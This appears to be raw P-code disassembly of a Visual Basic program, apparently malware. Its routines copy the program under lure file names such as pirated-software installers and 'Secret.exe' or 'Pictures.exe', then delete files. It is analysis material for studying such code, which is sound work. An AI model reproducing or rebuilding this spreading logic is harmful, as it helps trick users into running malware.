0040f1ebFLdRfVar var_1FC
0040f1eeFLdRfVar var_2EC
0040f1f1ImpAdCallFPR4 rtcArray, 8
0040f1f6FLdRfVar var_1FC
0040f1f9Erase
0040f1faFLdRfVar var_2EC
0040f1fdFStVar 65388
0040f201FFreeVar var_B8, var_D8, var_F8, var_118, var_138, var_158, var_178, var_198, var_1B8, var_1D8, var_1F8
0040f21aLitI2_Byte 0
0040f21cFLdRfVar var_96
0040f21fFLdRfVar var_94
0040f222CRefVarAry
0040f224PopAdLd4
0040f225LitI2_Byte 1
0040f227FnUBound
0040f229CI2I4
0040f22aForI2 64784, 486
0040f230ImpAdCallFPR4 rtcDoEvents, 0
0040f235LitI4 1
0040f23aILdI4 arg_C
0040f23dCVarStr var_C8
0040f240FLdRfVar var_96
0040f243CDargRef 16386
0040f247FLdRfVar var_94
0040f24aVarIndexLdVar 65352, 1
0040f250LitI4 1
0040f255FnInStr4Var 65320
0040f259LitVarI2 65304, 0
0040f25eHardType
0040f25fNeVarBool
0040f261FFreeVar var_B8, var_D8
0040f268BranchF 0x40f272
0040f26bLitVar_TRUE 65368
0040f26eImpAdStVar pool#17
0040f272
0040f272loc_40f272:
0040f272FLdRfVar var_96
0040f275NextI2 64784, 412
0040f27aExitProc
0040f094

0040f27b
0040f27b struct PCodePad
0040f27b d6 .
0040f27c
0040f27c struct ProcDscInfo
0040f27c lpObjectInfo uint32 0x403e7c
0040f280 wArgSize int 8
0040f282 wFrameSize int 620
0040f284 wPCodeBackOffset uint16 0x40f094
0040f286 wTotalSize uint16 0x0028
0040f288 wProcOptFlags uint16 0x0000
0040f28a wReserved uint16 0x0000
0040f28c wBosSkipTableOff uint16 0x0000
0040f28e wBaseIfaceSlot uint16 0x0013
0040f290 wReserved2 uint16 0x0000
0040f292 wReserved3 uint16 0x0000
0040f294
0040f294 10 00 00 00 00 00 01 00 00 00 00 00 ............
0040f2a0 6c ff 02 00 72 00 00 00 00 00 18 00 00 00 00 00 l...r...........
0040f2b0 48 ff 02 00 28 ff 02 00 08 ff 02 00 e8 fe 02 00 H...(...........
0040f2c0 c8 fe 02 00 a8 fe 02 00 88 fe 02 00 68 fe 02 00 ............h...
0040f2d0 48 fe 02 00 28 fe 02 00 08 fe 02 00 f4 fd 02 00 H...(...........
0040f2e0 e4 fd 02 00 d4 fd 02 00 c4 fd 02 00 b4 fd 02 00 ................
0040f2f0 a4 fd 02 00 84 fd 02 00 74 fd 02 00 64 fd 02 00 ........t...d...
0040f300 54 fd 02 00 44 fd 02 00 14 fd 02 00 04 fe 05 01 T...D...........
0040f310 ff ff ce d3 02 00 00 00 ........

0040f318
0040f318fn_40f318:
0040f318ILdI2 arg_14
0040f31bLitI2_Byte 0
0040f31dEqI2
0040f31eBranchF 0x40f3e9
0040f321LitI4 0
0040f326LitI4 9
0040f32bFLdRfVar var_A0
0040f32eRedim 1, 0, 16, 2176
0040f338LitVarStr var_B0, "RealPlayer13-5GOLD.exe"
0040f33dLitI4 0
0040f342ILdRf var_A0
0040f345Ary1StVarCopy
0040f347LitVarStr var_C0, "Icon Cool-Editor 3.4.30315.exe"
0040f34cLitI4 1
0040f351ILdRf var_A0
0040f354Ary1StVarCopy
0040f356LitVarStr var_D0, "CheatEngine52.exe"
0040f35bLitI4 2
0040f360ILdRf var_A0
0040f363Ary1StVarCopy
0040f365LitVarStr var_E0, "framework-4.4.exe"
0040f36aLitI4 3
0040f36fILdRf var_A0
0040f372Ary1StVarCopy
0040f374LitVarStr var_F0, "Vista Transformation Pack 4.0.exe"
0040f379LitI4 4
0040f37eILdRf var_A0
0040f381Ary1StVarCopy
0040f383LitVarStr var_100, "Pack_Vista_Inspirat_1.6.exe"
0040f388LitI4 5
0040f38dILdRf var_A0
0040f390Ary1StVarCopy
0040f392LitVarStr var_110, "DeepUnfreezerU1.6.exe"
0040f397LitI4 6
0040f39cILdRf var_A0
0040f39fAry1StVarCopy
0040f3a1LitVarStr var_120, "Pack_Longhorn_Inspirat_1.6_code32547.exe"
0040f3a6LitI4 7
0040f3abILdRf var_A0
0040f3aeAry1StVarCopy
0040f3b0LitVarStr var_130, "TeamViewer_Setup.exe"
0040f3b5LitI4 8
0040f3baILdRf var_A0
0040f3bdAry1StVarCopy
0040f3bfLitVarStr var_140, "Licence.exe"
0040f3c4LitI4 9
0040f3c9ILdRf var_A0
0040f3ccAry1StVarCopy
0040f3ceFLdRfVar var_A0
0040f3d1FLdRfVar var_150
0040f3d4ImpAdCallFPR4 rtcArray, 8
0040f3d9FLdRfVar var_A0
0040f3dcErase
0040f3ddFLdRfVar var_150
0040f3e0FMemStVar arg_8, 0
0040f3e6Branch 0x40f49f
0040f3e9
0040f3e9loc_40f3e9:
0040f3e9LitI4 0
0040f3eeLitI4 8
0040f3f3FLdRfVar var_A0
0040f3f6Redim 1, 0, 16, 2176
0040f400LitVarStr var_B0, "Pictures.exe"
0040f405LitI4 0
0040f40aILdRf var_A0
0040f40dAry1StVarCopy
0040f40fLitVarStr var_C0, "Secret.exe"
0040f414LitI4 1
0040f419ILdRf var_A0
0040f41cAry1StVarCopy
0040f41eLitVarStr var_D0, "Documents.exe"
0040f423LitI4 2
0040f428ILdRf var_A0
0040f42bAry1StVarCopy
0040f42dLitVarStr var_E0, "Vivid.exe"
0040f432LitI4 3
0040f437ILdRf var_A0
0040f43aAry1StVarCopy
0040f43cLitVarStr var_F0, "update.exe"
0040f441LitI4 4
0040f446ILdRf var_A0
0040f449Ary1StVarCopy
0040f44bLitVarStr var_100, "XXX.exe"
0040f450LitI4 5
0040f455ILdRf var_A0
0040f458Ary1StVarCopy
0040f45aLitVarStr var_110, "cool.exe"
0040f45fLitI4 6
0040f464ILdRf var_A0
0040f467Ary1StVarCopy
0040f469LitVarStr var_120, "vitae.exe"
0040f46eLitI4 7
0040f473ILdRf var_A0
0040f476Ary1StVarCopy
0040f478LitVarStr var_130, "error.exe"
0040f47dLitI4 8
0040f482ILdRf var_A0
0040f485Ary1StVarCopy
0040f487FLdRfVar var_A0
0040f48aFLdRfVar var_150
0040f48dImpAdCallFPR4 rtcArray, 8
0040f492FLdRfVar var_A0
0040f495Erase
0040f496FLdRfVar var_150
0040f499FMemStVar arg_8, 0
0040f49f
0040f49floc_40f49f:
0040f49fFMemLdRf arg_8, 0
0040f4a4CRefVarAry
0040f4a6PopAdLd4
0040f4a7LitI2_Byte 1
0040f4a9FnUBound
0040f4abLitI4 1
0040f4b0AddI4
0040f4b1CI2I4
0040f4b2PopTmpLdAd2 65196
0040f4b5LitI2_Byte -1
0040f4b7PopTmpLdAd2 65198
0040f4baImpAdCallI2 pool#89, 8
0040f4bfCI4UI1
0040f4c0FStR4 65380
0040f4c3LitVarStr var_C0, "c:\\"
0040f4c8FLdRfVar var_9C
0040f4cbCDargRef 16387
0040f4cfFMemLdRf arg_8, 0
0040f4d4VarIndexLdVar 65200, 1
0040f4daConcatVar var_164
0040f4deCStrVarTmp
0040f4dfPopTmpLdAdStr 65176
0040f4e3ImpAdLdRf pool#67
0040f4e6ImpAdCallFPR4 pool#68, 8
0040f4ebFFree1Str var_168
0040f4eeFFreeVar var_150, var_164
0040f4f5LitVarStr var_C0, "c:\\"
0040f4faFLdRfVar var_9C
0040f4fdCDargRef 16387
0040f501FMemLdRf arg_8, 0
0040f506VarIndexLdVar 65200, 1
0040f50cConcatVar var_164
0040f510CStrVarTmp
0040f511PopTmpLdAdStr 65176
0040f515ILdRf arg_10
0040f518ImpAdCallFPR4 pool#91, 8
0040f51dFFree1Str var_168
0040f520FFreeVar var_150, var_164
0040f527LitVarStr var_C0, "c:\\"
0040f52cFLdRfVar var_9C
0040f52fCDargRef 16387
0040f533FMemLdRf arg_8, 0
0040f538VarIndexLdVar 65200, 1
0040f53eConcatVar var_164
0040f542ImpAdCallFPR4 rtcKillFiles, 4
0040f547FFreeVar var_150, var_164
0040f54eExitProcCb 16
0040f318

0040f552
0040f552 struct PCodePad
0040f552 00 00 ..
0040f554
0040f554 struct ProcDscInfo
0040f554 lpObjectInfo uint32 0x4041b8
0040f558 wArgSize int 16
0040f55a wFrameSize int 228
0040f55c wPCodeBackOffset uint16 0x40f318
0040f55e wTotalSize uint16 0x002c
0040f560 wProcOptFlags uint16 0x0000
0040f562 wReserved uint16 0x0000
0040f564 wBosSkipTableOff uint16 0x0000
0040f566 wBaseIfaceSlot uint16 0x0013
0040f568 wReserved2 uint16 0x0000
0040f56a wReserved3 uint16 0x0000
0040f56c
0040f56c 14 00 00 00 ....
0040f570 00 00 02 00 00 00 00 01 6c ff 02 00 68 ff 01 00 ........l...h...
0040f580 22 00 00 00 00 00 04 00 00 00 00 00 98 fe 01 00 "...............
0040f590 b0 fe 02 00 9c fe 02 00 60 ff 05 01 00 00 00 00 ........`.......
0040f5a0 02 00 00 00 ....

0040f5a4
0040f5a4fn_40f5a4:
0040f5a4ILdRf arg_14
0040f5a7FStStrCopy var_98
0040f5aaILdRf arg_18
0040f5adFStStrCopy var_9C
0040f5b0LitI4 0
0040f5b5FStR4 65372
0040f5b8LitI4 0
0040f5bdFStR4 65364
0040f5c0FLdRfVar var_A4
0040f5c3ILdRf var_98
0040f5c6FLdRfVar var_B8
0040f5c9CStr2Ansi
0040f5caILdRf var_B8
0040f5cdILdRf arg_10
0040f5d0ImpAdCallI2 fn_40837c, 12
0040f5d5FStR4 65348
0040f5d8SetLastSystemError
0040f5d9ILdRf var_B8
0040f5dcFLdRfVar var_98
0040f5dfCStr2Uni
0040f5e1ILdRf var_BC
0040f5e4FMemStI4 arg_8, 0
0040f5e9FFree1Str var_B8
0040f5ecILdRf var_A4
0040f5efLitI4 0
0040f5f4EqI4
0040f5f5BranchF 0x40f619
0040f5f8LitVarStr var_CC, ""
0040f5fdFStVarCopy 65388
0040f601ILdRf var_A4
0040f604ImpAdCallI2 fn_408270, 4
0040f609FStR4 65348
0040f60cSetLastSystemError
0040f60dILdRf var_BC
0040f610FMemStI4 arg_8, 0
0040f615ExitProcCb 16
0040f619
0040f619loc_40f619:
0040f619FLdRfVar var_AC
0040f61cLitI4 0
0040f621FLdRfVar var_A8
0040f624LitI4 0
0040f629ILdRf var_9C
0040f62cFLdRfVar var_B8
0040f62fCStr2Ansi
0040f630ILdRf var_B8
0040f633ILdRf var_A4
0040f636ImpAdCallI2 fn_408410, 24
0040f63bFStR4 65348
0040f63eSetLastSystemError
0040f63fILdRf var_B8
0040f642FLdRfVar var_9C
0040f645CStr2Uni
0040f647ILdRf var_BC
0040f64aFMemStI4 arg_8, 0
0040f64fFFree1Str var_B8
0040f652ILdRf var_A4
0040f655LitI4 0
0040f65aEqI4
0040f65bBranchF 0x40f67f
0040f65eLitVarStr var_CC, ""
0040f663FStVarCopy 65388
0040f667ILdRf var_A4
0040f66aImpAdCallI2 fn_408270, 4
0040f66fFStR4 65348
0040f672SetLastSystemError
0040f673ILdRf var_BC
0040f676FMemStI4 arg_8, 0
0040f67bExitProcCb 16
0040f67f
0040f67floc_40f67f:
0040f67fILdRf var_A8
0040f682FStR4 65328
0040f685ILdRf var_D0
0040f688LitI4 1
0040f68dEqI4
0040f68eBranchF 0x40f775
0040f691ILdRf var_AC
0040f694FLdRfVar var_E0
0040f697ImpAdCallFPR4 rtcSpaceVar, 8
0040f69cFLdRfVar var_E0
0040f69fCStrVarTmp
0040f6a0FStStr var_B4
0040f6a3FFree1Var var_E0
0040f6a6FLdRfVar var_AC
0040f6a9ILdRf var_B4
0040f6acFLdRfVar var_E4
0040f6afCStr2Ansi
0040f6b0ILdRf var_E4
0040f6b3LitI4 0
0040f6b8PopTmpLdAdStr 65348
0040f6bbLitI4 0
0040f6c0ILdRf var_9C
0040f6c3FLdRfVar var_B8
0040f6c6CStr2Ansi
0040f6c7ILdRf var_B8
0040f6caILdRf var_A4
0040f6cdImpAdCallI2 fn_408410, 24
0040f6d2FStR4 65304
0040f6d5SetLastSystemError
0040f6d6ILdRf var_B8
0040f6d9FLdRfVar var_9C
0040f6dcCStr2Uni
0040f6deILdRf var_E4
0040f6e1FLdRfVar var_B4
0040f6e4CStr2Uni
0040f6e6ILdRf var_E8
0040f6e9FMemStI4 arg_8, 0
0040f6eeFFreeStr var_B8, var_E4
0040f6f5FMemLdR4 arg_8, 0
0040f6faLitI4 0
0040f6ffNeI4
0040f700BranchF 0x40f70f
0040f703LitVarStr var_CC, ""
0040f708FStVarCopy 65388
0040f70cBranch 0x40f772
0040f70f
0040f70floc_40f70f:
0040f70fLitI4 1
0040f714ILdRf var_B4
0040f717CVarStr var_CC
0040f71aLitI4 0
0040f71fFLdRfVar var_E0
0040f722ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040f727FLdRfVar var_E0
0040f72aLitI4 0
0040f72fFnInStr4Var 65288
0040f733CI2Var
0040f734FStI2 -158
0040f737FFreeVar var_E0, var_F8
0040f73eFLdI2 var_9E
0040f741LitI2_Byte 0
0040f743GtI2
0040f744BranchF 0x40f768
0040f747FLdI2 var_9E
0040f74aLitI2_Byte 1
0040f74cSubI2
0040f74dCI4UI1
0040f74eFLdRfVar var_B4
0040f751CVarRef 65332, 16392
0040f756FLdRfVar var_E0
0040f759ImpAdCallFPR4 rtcLeftCharVar, 12
0040f75eFLdRfVar var_E0
0040f761FStVar 65388
0040f765Branch 0x40f772
0040f768
0040f768loc_40f768:
0040f768ILdRf var_B4
0040f76bCVarStr var_CC
0040f76eFStVarCopy 65388
0040f772
0040f772loc_40f772:
0040f772Branch 0x40f7ee
0040f775
0040f775loc_40f775:
0040f775ILdRf var_D0
0040f778LitI4 4
0040f77dEqI4
0040f77eBranchF 0x40f7e5
0040f781LitI4 4
0040f786PopTmpLdAdStr 65348
0040f789FLdRfVar var_B0
0040f78cFLdRfVar var_A8
0040f78fLitI4 0
0040f794ILdRf var_9C
0040f797FLdRfVar var_B8
0040f79aCStr2Ansi
0040f79bILdRf var_B8
0040f79eILdRf var_A4
0040f7a1ImpAdCallI2 fn_408410, 24
0040f7a6FStR4 65304
0040f7a9SetLastSystemError
0040f7aaILdRf var_B8
0040f7adFLdRfVar var_9C
0040f7b0CStr2Uni
0040f7b2ILdRf var_E8
0040f7b5FMemStI4 arg_8, 0
0040f7baFFree1Str var_B8
0040f7bdFMemLdR4 arg_8, 0
0040f7c2LitI4 0
0040f7c7NeI4
0040f7c8BranchF 0x40f7d7
0040f7cbLitVarStr var_CC, ""
0040f7d0FStVarCopy 65388
0040f7d4Branch 0x40f7e2
0040f7d7
0040f7d7loc_40f7d7:
0040f7d7ILdRf var_B0
0040f7daCVarI4 var_CC
0040f7deFStVar 65388
0040f7e2
0040f7e2loc_40f7e2:
0040f7e2Branch 0x40f7ee
0040f7e5
0040f7e5loc_40f7e5:
0040f7e5LitVarStr var_CC, ""
0040f7eaFStVarCopy 65388
0040f7ee
0040f7eeloc_40f7ee:
0040f7eeILdRf var_A4
0040f7f1ImpAdCallI2 fn_408270, 4
0040f7f6FStR4 65348
0040f7f9SetLastSystemError
0040f7faILdRf var_BC
0040f7fdFMemStI4 arg_8, 0
0040f802ExitProcCb 16
0040f5a4

0040f806
0040f806 struct PCodePad
0040f806 20 00 .
0040f808
0040f808 struct ProcDscInfo
0040f808 lpObjectInfo uint32 0x403b6c
0040f80c wArgSize int 20
0040f80e wFrameSize int 116
0040f810 wPCodeBackOffset uint16 0x40f5a4
0040f812 wTotalSize uint16 0x0034
0040f814 wProcOptFlags uint16 0x0000
0040f816 wReserved uint16 0x0000
0040f818 wBosSkipTableOff uint16 0x0000
0040f81a wBaseIfaceSlot uint16 0x0013
0040f81c wReserved2 uint16 0x0000
0040f81e wReserved3 uint16 0x0000
0040f820
0040f820 1c 00 00 00 00 00 04 00 00 00 00 01 6c ff 02 00 ............l...
0040f830 64 ff 01 00 68 ff 01 00 4c ff 01 00 1c 00 00 00 d...h...L.......
0040f840 00 00 04 00 00 00 00 00 48 ff 01 00 1c ff 01 00 ........H.......
0040f850 20 ff 02 00 08 ff 02 00 .......

0040f858
0040f858fn_40f858:
0040f858LargeBos 2
0040f85aLargeBos 5
0040f85cOnErrorGoto 65535
0040f85fLargeBos 10
0040f861LitI4 0
0040f866FStR4 65396
0040f869LargeBos 15
0040f86bImpAdLdRf pool#10
0040f86eImpAdCallI2 pool#11, 4
0040f873FMemStI4 arg_8, 128
0040f878LargeBos 15
0040f87aImpAdLdRf pool#12
0040f87dImpAdCallI2 pool#11, 4
0040f882FMemStI4 arg_8, 136
0040f887LargeBos 15
0040f889ImpAdLdRf pool#13
0040f88cImpAdCallI2 pool#11, 4
0040f891FMemStI4 arg_8, 132
0040f896LargeBos 15
0040f898ImpAdLdRf pool#14
0040f89bImpAdCallI2 pool#11, 4
0040f8a0FMemStI4 arg_8, 140
0040f8a5LargeBos 7
0040f8a7ImpAdCallFPR4 rtcDoEvents, 0
0040f8acLargeBos 22
0040f8aeFMemLdRf arg_8, 128
0040f8b3ImpAdCallI2 fn_407ae0, 4
0040f8b8FStR4 65392
0040f8bbSetLastSystemError
0040f8bcILdRf var_90
0040f8bfFStR4 65396
0040f8c2LargeBos 7
0040f8c4ImpAdCallFPR4 rtcDoEvents, 0
0040f8c9LargeBos 12
0040f8cbFMemLdR4 arg_8, 144
0040f8d0FMemStStrCopy arg_8, 0
0040f8d5LargeBos 12
0040f8d7FMemLdR4 arg_8, 148
0040f8dcFMemStStrCopy arg_8, 4
0040f8e1LargeBos 12
0040f8e3FMemLdR4 arg_8, 152
0040f8e8FMemStStrCopy arg_8, 8
0040f8edLargeBos 13
0040f8efFMemLdI2 arg_8, 156
0040f8f4CI4UI1
0040f8f5FMemStI4 arg_8, 16
0040f8faLargeBos 13
0040f8fcFMemLdI2 arg_8, 158
0040f901CI4UI1
0040f902FMemStI4 arg_8, 20
0040f907LargeBos 13
0040f909FMemLdI2 arg_8, 160
0040f90eCI4UI1
0040f90fFMemStI4 arg_8, 24
0040f914LargeBos 13
0040f916FMemLdI2 arg_8, 162
0040f91bCI4UI1
0040f91cFMemStI4 arg_8, 28
0040f921LargeBos 13
0040f923FMemLdI2 arg_8, 164
0040f928CI4UI1
0040f929FMemStI4 arg_8, 32
0040f92eLargeBos 13
0040f930FMemLdI2 arg_8, 166
0040f935CI4UI1
0040f936FMemStI4 arg_8, 36
0040f93bLargeBos 13
0040f93dFMemLdI2 arg_8, 168
0040f942CI4UI1
0040f943FMemStI4 arg_8, 40
0040f948LargeBos 13
0040f94aFMemLdI2 arg_8, 170
0040f94fCI4UI1
0040f950FMemStI4 arg_8, 44
0040f955LargeBos 13
0040f957FMemLdI2 arg_8, 172
0040f95cCI4UI1
0040f95dFMemStI4 arg_8, 48
0040f962LargeBos 13
0040f964FMemLdI2 arg_8, 174
0040f969CI4UI1
0040f96aFMemStI4 arg_8, 52
0040f96fLargeBos 13
0040f971FMemLdI2 arg_8, 176
0040f976CI4UI1
0040f977FMemStI4 arg_8, 56
0040f97cLargeBos 13
0040f97eFMemLdI2 arg_8, 178
0040f983CI4UI1
0040f984FMemStI4 arg_8, 60
0040f989LargeBos 13
0040f98bFMemLdI2 arg_8, 180
0040f990CI4UI1
0040f991FMemStI4 arg_8, 64
0040f996LargeBos 13
0040f998FMemLdI2 arg_8, 184
0040f99dCI4UI1
0040f99eFMemStI4 arg_8, 68
0040f9a3LargeBos 13
0040f9a5FMemLdI2 arg_8, 186
0040f9aaCI4UI1
0040f9abFMemStI4 arg_8, 72
0040f9b0LargeBos 13
0040f9b2FMemLdI2 arg_8, 188
0040f9b7CI4UI1
0040f9b8FMemStI4 arg_8, 76
0040f9bdLargeBos 13
0040f9bfFMemLdI2 arg_8, 190
0040f9c4CI4UI1
0040f9c5FMemStI4 arg_8, 80
0040f9caLargeBos 13
0040f9ccFMemLdI2 arg_8, 192
0040f9d1CI4UI1
0040f9d2FMemStI4 arg_8, 84
0040f9d7LargeBos 13
0040f9d9FMemLdI2 arg_8, 194
0040f9deCI4UI1
0040f9dfFMemStI4 arg_8, 88
0040f9e4LargeBos 13
0040f9e6FMemLdI2 arg_8, 196
0040f9ebCI4UI1
0040f9ecFMemStI4 arg_8, 92
0040f9f1LargeBos 13
0040f9f3FMemLdI2 arg_8, 198
0040f9f8CI4UI1
0040f9f9FMemStI4 arg_8, 96
0040f9feLargeBos 13
0040fa00FMemLdI2 arg_8, 200
0040fa05CI4UI1
0040fa06FMemStI4 arg_8, 100
0040fa0bLargeBos 13
0040fa0dFMemLdI2 arg_8, 202
0040fa12CI4UI1
0040fa13FMemStI4 arg_8, 104
0040fa18LargeBos 13
0040fa1aFMemLdI2 arg_8, 204
0040fa1fCI4UI1
0040fa20FMemStI4 arg_8, 108
0040fa25LargeBos 13
0040fa27FMemLdI2 arg_8, 206
0040fa2cCI4UI1
0040fa2dFMemStI4 arg_8, 112
0040fa32LargeBos 13
0040fa34FMemLdI2 arg_8, 182
0040fa39CI4UI1
0040fa3aFMemStI4 arg_8, 116
0040fa3fLargeBos 13
0040fa41FMemLdI2 arg_8, 208
0040fa46CI4UI1
0040fa47FMemStI4 arg_8, 120
0040fa4cLargeBos 15
0040fa4eFMemLdI2 arg_8, 210
0040fa53CUI1I2
0040fa55FMemStUI1 arg_8, 124
0040fa5bLargeBos 48
0040fa5dFMemLdRf arg_8, 0
0040fa62FLdRfVar var_110
0040fa65CRec2Ansi 16
0040fa68FLdRfVar var_110
0040fa6bImpAdCallI2 fn_407b28, 4
0040fa70FStR4 65392
0040fa73SetLastSystemError
0040fa74FLdRfVar var_110
0040fa77FMemLdRf arg_8, 0
0040fa7cCRec2Uni 16
0040fa7fILdRf var_90
0040fa82FStR4 65396
0040fa85DestructAnsiOFrame 65264, 16
0040fa8bLargeBos 7
0040fa8dImpAdCallFPR4 rtcDoEvents, 0
0040fa92LargeBos 79
0040fa94FMemLdRf arg_8, 220
0040fa99FLdRfVar var_2A4
0040fa9cCRec2Ansi 18
0040fa9fFLdRfVar var_2A4
0040faa2FMemLdR4 arg_8, 216
0040faa7FLdRfVar var_114
0040faaaCStr2Ansi
0040faabILdRf var_114
0040faaeFMemLdI2 arg_8, 212
0040fab3CI4UI1
0040fab4ImpAdCallI2 fn_407bb4, 12
0040fab9FStR4 65392
0040fabcSetLastSystemError
0040fabdFLdRfVar var_2A4
0040fac0FMemLdRf arg_8, 220
0040fac5CRec2Uni 18
0040fac8ILdRf var_114
0040facbFMemLdRf arg_8, 216
0040fad0CStr2Uni
0040fad2ILdRf var_90
0040fad5FStR4 65396
0040fad8FFree1Str var_114
0040fadbDestructAnsiOFrame 64860, 18
0040fae1LargeBos 7
0040fae3ImpAdCallFPR4 rtcDoEvents, 0
0040fae8LargeBos 8
0040faeaILdRf var_8C
0040faedFStR4 65400
0040faf0LargeBos 0
0040faf2ExitProc
0040f858

0040faf3
0040faf3 struct PCodePad
0040faf3 01 .
0040faf4
0040faf4 struct ProcDscInfo
0040faf4 lpObjectInfo uint32 0x403c44
0040faf8 wArgSize int 4
0040fafa wFrameSize int 544
0040fafc wPCodeBackOffset uint16 0x40f858
0040fafe wTotalSize uint16 0x005c
0040fb00 wProcOptFlags uint16 0x0000
0040fb02 wReserved uint16 0x0000
0040fb04 wBosSkipTableOff uint16 0x0000
0040fb06 wBaseIfaceSlot uint16 0x0013
0040fb08 wReserved2 uint16 0x0000
0040fb0a wReserved3 uint16 0x0000
0040fb0c
0040fb0c 44 00 00 00 D...
0040fb10 00 00 02 00 00 00 00 10 f0 fe 69 30 ff 1b ff ff ..........i0....
0040fb20 90 7a 40 00 05 04 00 24 05 00 0f fc 02 19 60 ff .z@....$......`.
0040fb30 08 60 ff 0d 5c fd 69 30 32 04 ff ff 4c 7a 40 00 .`..\.i02...Lz@.
0040fb40 04 00 6c ff 60 ff 0b 03 00 00 00 f4 00 c6 6c 74 ..l.`.........lt
0040fb50 10 00 00 00 00 00 01 00 00 00 00 00 ec fe 01 00 ................

0040fb60
0040fb60fn_40fb60:
0040fb60LitStr ""
0040fb63LitStr "path1"
0040fb66LitStr "xxx"
0040fb69ImpAdCallI2 pool#3, 12
0040fb6eFStStrNoPop var_9C
0040fb71LitI4 1
0040fb76FMemLdRf arg_8, 264
0040fb7bAry1StStrCopy
0040fb7cFFree1Str var_9C
0040fb7fLitStr ""
0040fb82LitStr "path2"
0040fb85LitStr "xxx"
0040fb88ImpAdCallI2 pool#3, 12
0040fb8dFStStrNoPop var_9C
0040fb90LitI4 2
0040fb95FMemLdRf arg_8, 264
0040fb9aAry1StStrCopy
0040fb9bFFree1Str var_9C
0040fb9eLitStr ""
0040fba1LitStr "path3"
0040fba4LitStr "xxx"
0040fba7ImpAdCallI2 pool#3, 12
0040fbacFStStrNoPop var_9C
0040fbafLitI4 3
0040fbb4FMemLdRf arg_8, 264
0040fbb9Ary1StStrCopy
0040fbbaFFree1Str var_9C
0040fbbdLitStr ""
0040fbc0LitStr "path4"
0040fbc3LitStr "xxx"
0040fbc6ImpAdCallI2 pool#3, 12
0040fbcbFStStrNoPop var_9C
0040fbceLitI4 4
0040fbd3FMemLdRf arg_8, 264
0040fbd8Ary1StStrCopy
0040fbd9FFree1Str var_9C
0040fbdcLitStr ""
0040fbdfLitStr "path5"
0040fbe2LitStr "xxx"
0040fbe5ImpAdCallI2 pool#3, 12
0040fbeaFStStrNoPop var_9C
0040fbedLitI4 5
0040fbf2FMemLdRf arg_8, 264
0040fbf7Ary1StStrCopy
0040fbf8FFree1Str var_9C
0040fbfbLitStr ""
0040fbfeLitStr "path6"
0040fc01LitStr "xxx"
0040fc04ImpAdCallI2 pool#3, 12
0040fc09FStStrNoPop var_9C
0040fc0cLitI4 6
0040fc11FMemLdRf arg_8, 264
0040fc16Ary1StStrCopy
0040fc17FFree1Str var_9C
0040fc1aLitStr ""
0040fc1dLitStr "path7"
0040fc20LitStr "xxx"
0040fc23ImpAdCallI2 pool#3, 12
0040fc28FStStrNoPop var_9C
0040fc2bLitI4 7
0040fc30FMemLdRf arg_8, 264
0040fc35Ary1StStrCopy
0040fc36FFree1Str var_9C
0040fc39LitStr ""
0040fc3cLitStr "path8"
0040fc3fLitStr "xxx"
0040fc42ImpAdCallI2 pool#3, 12
0040fc47FStStrNoPop var_9C
0040fc4aLitI4 8
0040fc4fFMemLdRf arg_8, 264
0040fc54Ary1StStrCopy
0040fc55FFree1Str var_9C
0040fc58LitI4 1
0040fc5dFLdRfVar var_98
0040fc60FMemLdRf arg_8, 264
0040fc65LitI2_Byte 1
0040fc67FnUBound
0040fc69ForI4 65372, 683
0040fc6fILdRf var_98
0040fc72FMemLdRf arg_8, 264
0040fc77Ary1LdI4
0040fc78LitStr ""
0040fc7bEqStr
0040fc7dBranchF 0x40fde1
0040fc80LitI2_Byte 90
0040fc82PopTmpLdAd2 65368
0040fc85LitI2_Byte 66
0040fc87PopTmpLdAd2 65370
0040fc8aImpAdCallI2 pool#11, 8
0040fc8fCI4UI1
0040fc90FLdRfVar var_B8
0040fc93ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040fc98FLdRfVar var_B8
0040fc9bLitI2_Byte 90
0040fc9dPopTmpLdAd2 65348
0040fca0LitI2_Byte 66
0040fca2PopTmpLdAd2 65350
0040fca5ImpAdCallI2 pool#11, 8
0040fcaaCI4UI1
0040fcabFLdRfVar var_CC
0040fcaeImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040fcb3FLdRfVar var_CC
0040fcb6ConcatVar var_DC
0040fcbaLitI2_Byte 90
0040fcbcPopTmpLdAd2 65312
0040fcbfLitI2_Byte 66
0040fcc1PopTmpLdAd2 65314
0040fcc4ImpAdCallI2 pool#11, 8
0040fcc9CI4UI1
0040fccaFLdRfVar var_F0
0040fccdImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040fcd2FLdRfVar var_F0
0040fcd5ConcatVar var_100
0040fcd9LitI2_Byte 9
0040fcdbPopTmpLdAd2 65276
0040fcdeLitI2_Byte -1
0040fce0PopTmpLdAd2 65278
0040fce3ImpAdCallI2 pool#11, 8
0040fce8CVarI2 65260
0040fcebConcatVar var_124
0040fcefLitI2_Byte 90
0040fcf1PopTmpLdAd2 65240
0040fcf4LitI2_Byte 66
0040fcf6PopTmpLdAd2 65242
0040fcf9ImpAdCallI2 pool#11, 8
0040fcfeCI4UI1
0040fcffFLdRfVar var_138
0040fd02ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040fd07FLdRfVar var_138
0040fd0aConcatVar var_148
0040fd0eLitI2_Byte 9
0040fd10PopTmpLdAd2 65204
0040fd13LitI2_Byte -1
0040fd15PopTmpLdAd2 65206
0040fd18ImpAdCallI2 pool#11, 8
0040fd1dCVarI2 65188
0040fd20ConcatVar var_16C
0040fd24LitI2_Byte 90
0040fd26PopTmpLdAd2 65168
0040fd29LitI2_Byte 66
0040fd2bPopTmpLdAd2 65170
0040fd2eImpAdCallI2 pool#11, 8
0040fd33CI4UI1
0040fd34FLdRfVar var_180
0040fd37ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040fd3cFLdRfVar var_180
0040fd3fConcatVar var_190
0040fd43CStrVarTmp
0040fd44FStStrNoPop var_9C
0040fd47ILdRf var_98
0040fd4aFMemLdRf arg_8, 264
0040fd4fAry1StStrCopy
0040fd50FFree1Str var_9C
0040fd53FFreeVar var_B8, var_CC, var_DC, var_F0, var_100, var_124, var_138, var_148, var_16C, var_180, var_190
0040fd6cILdRf var_98
0040fd6fFMemLdRf arg_8, 264
0040fd74Ary1LdRf
0040fd75CVarRef 65260, 16392
0040fd7aImpAdCallI2 pool#13, 4
0040fd7fFStStr var_1AC
0040fd82FMemLdR4 arg_8, 232
0040fd87FLdRfVar var_1A8
0040fd8aCStr2Ansi
0040fd8bILdRf var_1A8
0040fd8eFLdZeroAd var_1AC
0040fd91FStStrNoPop var_1A0
